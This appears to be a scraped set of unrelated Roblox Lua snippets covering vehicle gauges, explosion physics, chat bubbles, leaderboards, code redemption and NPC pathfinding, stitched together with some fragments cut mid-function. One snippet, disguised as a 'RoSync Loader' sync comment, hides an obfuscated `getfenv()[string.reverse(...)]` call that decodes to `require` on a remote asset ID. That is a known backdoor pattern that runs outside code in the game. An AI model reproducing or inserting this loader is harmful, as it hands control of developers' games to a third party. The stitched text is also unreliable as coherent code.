LightingFXEnabled = game.ReplicatedStorage.ClientConfig.LightingFXEnabled
function Update()
Effect1.Enabled = LightingFXEnabled.Value
Effect2.Enabled = LightingFXEnabled.Value
end
LightingFXEnabled:GetPropertyChangedSignal("Value"):Connect(Update)
Update()
|
--[[ Last synced 7/19/2021 02:56 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--// GUI Variables
|
local PlayerGUI = Player:WaitForChild("PlayerGui")
local MainUI = PlayerGUI:WaitForChild("MainUI")
local PetUI = MainUI.PetsFrame
local PetsFrame = PetUI.Inventory.Frame
local ScrollingFrame = PetsFrame
local UIGridLayout = ScrollingFrame.UIGridLayout
local shrinkOn = PetUI.Resize.ShrinkOn
local getSizes = function()
if shrinkOn.Value == true then
return Vector2.new(0.02, 0.03), Vector2.new(0.23, 0.28), 4
else
return Vector2.new(0.03, 0.04), Vector2.new(0.32, 0.37), 3
end
end
|
-- local Destructible = ExplosionTouchPart:FindFirstChild("RocketDestructible")
-- if Destructible and Destructible.Value and RadiusFromBlast < BLAST_RADIUS then
-- Destructible.Value = false
--
-- RunLocalEffect:FireAllClients("FadePart",ExplosionTouchPart)
-- Debris:AddItem(ExplosionTouchPart,3)
-- end
|
--Set the velocity of the part.
local DeltaPos = ExplosionTouchPart.Position - Position
local Normal = DeltaPos.magnitude == 0 and Vector3.new(0,1,0) or DeltaPos.unit
local PartRadius = ExplosionTouchPart.Size.magnitude / 2
local SurfaceArea = PartRadius * PartRadius
local Impulse = Normal * BLAST_PRESSURE * SurfaceArea * (1 / 4560)
local Fraction = 1
if IsInCharacter then
Fraction = 1 - math.max(0, math.min(1,(RadiusFromBlast - 2) / BLAST_RADIUS))
end
local CurrentVelocity = ExplosionTouchPart.Velocity
local DeltaVelocity = Impulse / ExplosionTouchPart:GetMass()
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.Velocity = CurrentVelocity + DeltaVelocity
BodyVelocity.Parent = ExplosionTouchPart
local ForceNeeded = 196.2 * ExplosionTouchPart:GetMass()
BodyVelocity.MaxForce = Vector3.new(ForceNeeded,ForceNeeded,ForceNeeded) * 10 * Fraction
Debris:AddItem(BodyVelocity,0.2/FORCE_GRANULARITY)
local RotImpulse = Impulse * 0.5 * RadiusFromBlast
local CurrentRotVelocity = ExplosionTouchPart.RotVelocity
local MomentOfInertia = (2 * ExplosionTouchPart:GetMass() * RadiusFromBlast * RadiusFromBlast/5)
local DeltaRotVelocity = RotImpulse / MomentOfInertia
local AngularVelocity = Instance.new("BodyAngularVelocity")
local TorqueNeeded = 20 * MomentOfInertia
AngularVelocity.MaxTorque = Vector3.new(TorqueNeeded,TorqueNeeded,TorqueNeeded) * 10 * Fraction
AngularVelocity.AngularVelocity = CurrentRotVelocity + DeltaRotVelocity
AngularVelocity.Parent = ExplosionTouchPart
Debris:AddItem(AngularVelocity,0.2/FORCE_GRANULARITY)
end
end
--Create the explosion.
local Explosion = Instance.new("Explosion")
Explosion.BlastPressure = 0
Explosion.BlastRadius = BLAST_RADIUS
Explosion.Position = Position
Explosion.Hit:Connect(OnExplosionHit)
Explosion.Parent = game.Workspace
--Reparent the script to the explosion and destroy the rocket.
FiredByValue.Parent = script
script.Parent = Explosion
Rocket:Destroy()
end
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 270 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
ln.Frame.Position = UDim2.new(0,-1,0,85)
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(255/255, 0, 76/255)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 270 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,80)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,6 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 25-50*(i/6)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,62)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
bln.Frame.Position = UDim2.new(0,-1,0,62)
end
bln.Num:Destroy()
bln.Visible=true
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
game["Run Service"].RenderStepped:connect(function()
gauges.Tach.Needle.Rotation = gauges.Tach.Needle.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle2.Rotation = gauges.Tach.Needle2.Rotation*(Smoothness+0.003) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.003))
gauges.Tach.Needle3.Rotation = gauges.Tach.Needle3.Rotation*(Smoothness+0.006) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.006))
gauges.Tach.Needle4.Rotation = gauges.Tach.Needle4.Rotation*(Smoothness+0.009) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.009))
gauges.Tach.Needle5.Rotation = gauges.Tach.Needle5.Rotation*(Smoothness+0.012) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.012))
gauges.Tach.Needle6.Rotation = gauges.Tach.Needle6.Rotation*(Smoothness+0.015) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.015))
gauges.Tach.Needle7.Rotation = gauges.Tach.Needle7.Rotation*(Smoothness+0.018) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.018))
gauges.Tach.Needle8.Rotation = gauges.Tach.Needle8.Rotation*(Smoothness+0.021) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.021))
gauges.Tach.Needle9.Rotation = gauges.Tach.Needle9.Rotation*(Smoothness+0.024) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.024))
gauges.Tach.Needle10.Rotation = gauges.Tach.Needle10.Rotation*(Smoothness+0.027) + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-(Smoothness+0.027))
--[[gauges.Tach.Needle.Rotation = gauges.Tach.Needle.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle2.Rotation = gauges.Tach.Needle2.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle3.Rotation = gauges.Tach.Needle3.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle4.Rotation = gauges.Tach.Needle4.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle5.Rotation = gauges.Tach.Needle5.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle6.Rotation = gauges.Tach.Needle6.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle7.Rotation = gauges.Tach.Needle7.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle8.Rotation = gauges.Tach.Needle8.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle9.Rotation = gauges.Tach.Needle9.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)
gauges.Tach.Needle10.Rotation = gauges.Tach.Needle10.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)]]
if _Tune.Aspiration then
gauges.Boost.Needle.Rotation = gauges.Boost.Needle.Rotation*(TurboSmoothness) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness))
gauges.Boost.Needle2.Rotation = gauges.Boost.Needle2.Rotation*(TurboSmoothness+0.005) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.005))
gauges.Boost.Needle3.Rotation = gauges.Boost.Needle3.Rotation*(TurboSmoothness+0.01) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.01))
gauges.Boost.Needle4.Rotation = gauges.Boost.Needle4.Rotation*(TurboSmoothness+0.015) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.015))
gauges.Boost.Needle5.Rotation = gauges.Boost.Needle5.Rotation*(TurboSmoothness+0.02) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.02))
gauges.Boost.Needle6.Rotation = gauges.Boost.Needle6.Rotation*(TurboSmoothness+0.025) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.025))
gauges.Boost.Needle7.Rotation = gauges.Boost.Needle7.Rotation*(TurboSmoothness+0.03) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.03))
gauges.Boost.Needle8.Rotation = gauges.Boost.Needle8.Rotation*(TurboSmoothness+0.035) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.035))
gauges.Boost.Needle9.Rotation = gauges.Boost.Needle9.Rotation*(TurboSmoothness+0.04) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.04))
gauges.Boost.Needle10.Rotation = gauges.Boost.Needle10.Rotation*(TurboSmoothness+0.045) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.045))
else
end
end)
local _TCount = 0
if _Tune.Aspiration then
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
else
gauges.Boost.Visible = false
gauges.BoostImage.Visible = false
end
else
gauges.Boost.Visible = false
gauges.BoostImage.Visible = false
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
else
wait()
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
elseif not values.TCS.Value then
wait()
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
else
wait()
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
elseif not values.TCS.Value then
wait()
gauges.TCS.TextColor3 = Color3.new(1,226/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0)
end
else
if gauges.TCS.Visible then
gauges.TCS.TextColor3 = Color3.new(.2,.2,.2)
gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
else
wait()
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
elseif not values.ABS.Value then
wait()
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
else
wait()
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
else
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
elseif not values.ABS.Value then
wait()
gauges.ABS.TextColor3 = Color3.new(1,226/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0)
end
else
if gauges.ABS.Visible then
gauges.ABS.TextColor3 = Color3.new(.2,.2,.2)
gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2)
end
end
end)
function Speed()
gauges.SpeedThing.Text = SpeedType
local SpeedVal = values.Velocity.Value.Magnitude
local MPHScale = (10/12) * (60/88)
local KPHScale = (10/12) * 1.09728
if SpeedType == "MPH" then
if SpeedVal*MPHScale < 100 then
if SpeedVal*MPHScale < 10 then
gauges.Speed.Text = "00"..math.floor(SpeedVal*MPHScale)
else
gauges.Speed.Text = "0"..math.floor(SpeedVal*MPHScale)
end
else
gauges.Speed.Text = math.floor(SpeedVal*MPHScale)
end
end
if SpeedType == "KPH" then
if SpeedVal*KPHScale < 100 then
if SpeedVal*KPHScale < 10 then
gauges.Speed.Text = "00"..math.floor(SpeedVal*KPHScale)
else
gauges.Speed.Text = "0"..math.floor(SpeedVal*KPHScale)
end
else
gauges.Speed.Text = math.floor(SpeedVal*KPHScale)
end
end
end
values.Velocity.Changed:connect(function()
Speed()
end)
wait(.1)
Speed()
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
--[[Weight Scaling]]
|
--[Cubic stud : pounds ratio]
--[STANDARDIZED: Don't touch unless needed]
Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs)
Tune.LegacyScaling = 1/50 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]
return Tune
|
-- Overloads functions in Roblox's TransparencyController
-- module with replacement functions in the FpsCamera.
|
function FpsCamera:MountTransparency(Transparency)
local baseUpdate = Transparency.Update
if baseUpdate then
Transparency.BaseUpdate = baseUpdate
Transparency.Update = self.UpdateTransparency
else
self:Warn("MountTransparency - Could not find Transparency:Update()!")
end
if Transparency.IsValidPartToModify then
Transparency.IsValidPartToModify = self.IsValidPartToModify
Transparency.HeadAttachments = self.HeadAttachments
Transparency.ForceRefresh = true
else
self:Warn("MountTransparency - Could not find Transparency:IsValidPartToModify(part)!")
end
if Transparency.SetupTransparency then
Transparency.BaseSetupTransparency = Transparency.SetupTransparency
Transparency.SetupTransparency = self.SetupTransparency
else
self:Warn("MountTransparency - Could not find Transparency:SetupTransparency(character)!")
end
end
|
-- number of list items to accumulate before a SETLIST instruction
|
luaP.LFIELDS_PER_FLUSH = 50
|
-----------------------------------------------
|
function findAllFlagStands(root)
local c = root:children()
for i=1,#c do
if (c[i].className == "Model" or c[i].className == "Part") then
findAllFlagStands(c[i])
end
if (c[i].className == "FlagStand") then
table.insert(stands, c[i])
end
end
end
function hookUpListeners()
for i=1,#stands do
stands[i].FlagCaptured:connect(onCaptureScored)
end
end
function onPlayerEntered(newPlayer)
if CTF_mode == true then
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local captures = Instance.new("IntValue")
captures.Name = "Captures"
captures.Value = 0
captures.Parent = stats
-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end
stats.Parent = newPlayer
else
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local kills = Instance.new("IntValue")
kills.Name = "Laps"
kills.Value = 0
local deaths = Instance.new("IntValue")
deaths.Name = "Wipeouts"
deaths.Value = 0
kills.Parent = stats
deaths.Parent = stats
-- VERY UGLY HACK
-- Will this leak threads?
-- Is the problem even what I think it is (player arrived before character)?
while true do
if newPlayer.Character ~= nil then break end
wait(5)
end
local humanoid = newPlayer.Character.Humanoid
humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )
-- start to listen for new humanoid
newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )
stats.Parent = newPlayer
end
end
function onCaptureScored(player)
local ls = player:findFirstChild("leaderstats")
if ls == nil then return end
local caps = ls:findFirstChild("Captures")
if caps == nil then return end
caps.Value = caps.Value + 1
end
findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)
|
--[[script.Parent.Examinar.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.ExaminarAberto.Visible == false then
Saude.Variaveis.Doer.Value = true
Timer.Barra.Size = UDim2.new(0,0,1,0)
TS:Create(Timer.Barra, TweenInfo.new(5), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
script.Parent.Parent.ExaminarAberto.Visible = true
script.Parent.Parent.ExaminarAberto.Base.DiagnoseHandler.Disabled = false
Saude.Variaveis.Doer.Value = false
end
end)]]
|
script.Parent.Circulation.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Circulation.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = true
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Resuscitation.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Resuscitation.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Resuscitation.Visible = true
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Analgesic.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Analgesic.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Analgesic.Visible = true
--Saude.Variaveis.Doer.Value = false
end
end)
|
--Codes
|
local codelist = {
code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
code2 = "YT"
}
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
if not codes:FindFirstChild("Code1") then -- This one here
RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code expired!"
wait(2)
script.Parent.Text = "Redeem Code"
end
elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
if not codes:FindFirstChild("Code2") then -- This one here
RE:FireServer(300, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code invalid!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
end
end)
|
------------------------------------------------------------------------------------------
-- чтение потомков и добавление их в UI
|
local Checked = true -- защита от многократного считывания
local function UpdateList()
if Checked then
Checked = false
-- забрать всех из Listing и поместить потомками в UI
local tmp = ls:GetChildren()
if #tmp then -- проверка на наличие потомков
|
--local debris = game:GetService("Debris")
|
local bot = script.Parent -- bot stuff
local bhum = bot:WaitForChild('Humanoid')
local bhrp = bot:WaitForChild('HumanoidRootPart')
local findPath = PFS:CreatePath({WaypointSpacing = math.huge})
local actPath = PFS:CreatePath({WaypointSpacing = math.huge})
local followedChar -- the one we are already following
local char -- the one which we follow
local function nearestChar()
while wait() do
local nearChar, nearDist = nil, nil
local distance
local firstPos
for i,v in pairs(workspace:GetChildren()) do
if v:FindFirstChild('Humanoid') and v ~= bot and not (v:FindFirstChild('Nextbot') or v:FindFirstChild('NPC')) and v.Humanoid.Health > 0 and v:FindFirstChild('HumanoidRootPart') then
findPath:ComputeAsync(bhrp.Position, v.HumanoidRootPart.Position)
if findPath.Status == Enum.PathStatus.Success then
distance = 0
for i,waypoint in ipairs(findPath:GetWaypoints()) do
if i ~= 1 then
distance = distance + (waypoint.Position - firstPos).Magnitude
end
firstPos = waypoint.Position
end
if nearDist == nil then
nearDist = distance
nearChar = v
else
if distance < nearDist then
nearDist = distance
nearChar = v
end
end
end
end
end
char = nearChar
end
end
spawn(nearestChar)
local count = 0
RunS.Heartbeat:Connect(function()
if count >= 3 then -- You may change this number to your liking, but if you set it too low nextbot will lag
count = 0
if char ~= nil and char:FindFirstChild('HumanoidRootPart') then
actPath:ComputeAsync(bhrp.Position, char.HumanoidRootPart.Position)
for i,v in ipairs(actPath:GetWaypoints()) do
if i ~= 1 then
bhum:MoveTo(v.Position)
bhum.MoveToFinished:Wait()
end
end
end
else
count = count + 1
end
end)
|
-- Tool Animation handling
|
local tool = getTool()
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
|
--[[
Allows forwarding of refs to underlying host components. Accepts a render
callback which accepts props and a ref, and returns an element.
]]
|
local function forwardRef(render)
if config.typeChecks then
assert(typeof(render) == "function", "Expected arg #1 to be a function")
end
return function(props)
local ref = props[Ref]
local propsWithoutRef = assign({}, props, excludeRef)
return render(propsWithoutRef, ref)
end
end
return forwardRef
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.